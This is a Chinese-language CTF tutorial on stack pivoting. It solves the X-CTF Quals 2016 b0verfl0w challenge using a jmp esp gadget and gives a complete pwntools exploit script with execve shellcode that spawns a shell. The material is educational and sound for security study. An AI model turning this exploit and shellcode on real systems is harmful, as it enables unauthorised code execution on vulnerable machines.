栈溢出技巧-Stack pivoting(栈翻转/jmp esp跳板)

1
2
参考资料:
https://www.yuque.com/cyberangel/rg9gdm/rg6g4g

1、介绍

首先介绍一下Stack pivoting的含义:

该技巧就是劫持栈指针指向攻击者所能控制的内存处,然后再在相应的位置进行ROP。一般来说,我们可能在以下情况需要使用 stack pivoting:

  • 可以控制的栈溢出字节数较少,难以构造较长的ROP链
  • 开启了PIE保护,栈地址未知,我们可以将栈劫持到已知的区域。
  • 其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写ROP及进行堆漏洞利用。

此外,利用stack pivoting有以下几个要求:

  • 可以控制程序执行流
  • 可以控制sp指针。一般来说,控制栈指针会使用ROP,常见的控制栈指针的gadgets一般是
1
pop rsp/esp

还有一些其它的姿势。比如说libc_csu_init中的gadgets,我们通过偏移就可以得到控制rsp指针。

image-20230715131127073

此外,还有更加高级的fake frame。

  • 存在可以控制内容的内存,一般有如下
  • bss段。由于进程按页分配内存,分配给bss段的内存大小至少一个页(4k,0x1000)大小。然后一般bss段的内容用不了这么多时间,并且bss段分配的内存页拥有读写权限。
  • heap。但是这个需要我们能够泄露堆地址。

2、示例

以CTF-wiki的“X-CTF Quals 2016 - b0verflow”为例进行讲解。

1
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/stackprivot/X-CTF%20Quals%202016%20-%20b0verfl0w

先检查程序保护机制

image-20230715133244292

32位程序,基本没有开任何的保护。由于程序并没有开启NX保护,因此我们可以向栈上注入shellcode

再看一下程序基本流程,就输入了一次

image-20230715133708148

到ida中静态分析看一下

image-20230715133849776

栈偏移为36,也就是说输入36个字符可以覆盖到返回地址,输入32个字节可以覆盖到ebp(栈底)

看一下fgets(&s,50,stdin);

fgets读入了50个字符,我们能控制的大小为50-36=14个字节,如果想构造一个不错的ROP,显然是不行的。

所以此时我们考虑stack pivoting。由于程序本身并没有开启堆栈保护,所以我们可以在栈上布置shellcode并执行。基本利用思路如下:

  • 利用栈溢出布置shellcode
  • 控制eip指向shellcode

第一步直接读取即可。可以利用栈溢出对esp进行操作,使其指向shellcode处,并且直接控制程序跳转至esp处。所以我们需要找到控制程序跳转到esp处的gadgets了。

1
ROPgadget --binary pwn --only 'jmp|ret'

image-20230715140655982

其中jmp esp就是我们想要的。

image-20230715142554778

所以思路就是先用shellcode和垃圾数据填充缓冲区和ebp,返回地址处修改为jmp esp,这时esp会跳到下面的sub esp部分,eip此时也会跳转到这执行这两条指令,执行完之后esp会变为指向shellcode,eip跟着跳转执行shellcode。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import*

context.log_level = 'debug'
#context.terminal = ['gnome-terminal','-x','bash','-c']
#context(arch='i386', os='linux')

sh = process('./pwn')

jmp_esp = 0x08048504
#sub_esp_jmp = asm('sub esp,0x28;jmp esp')
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
#shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80'
payload = shellcode.encode()+(0x20-len(shellcode))*b'a'+b'bbbb'+p32(jmp_esp)+sub_esp_jmp

sh.sendline(payload)

sh.interactive()

~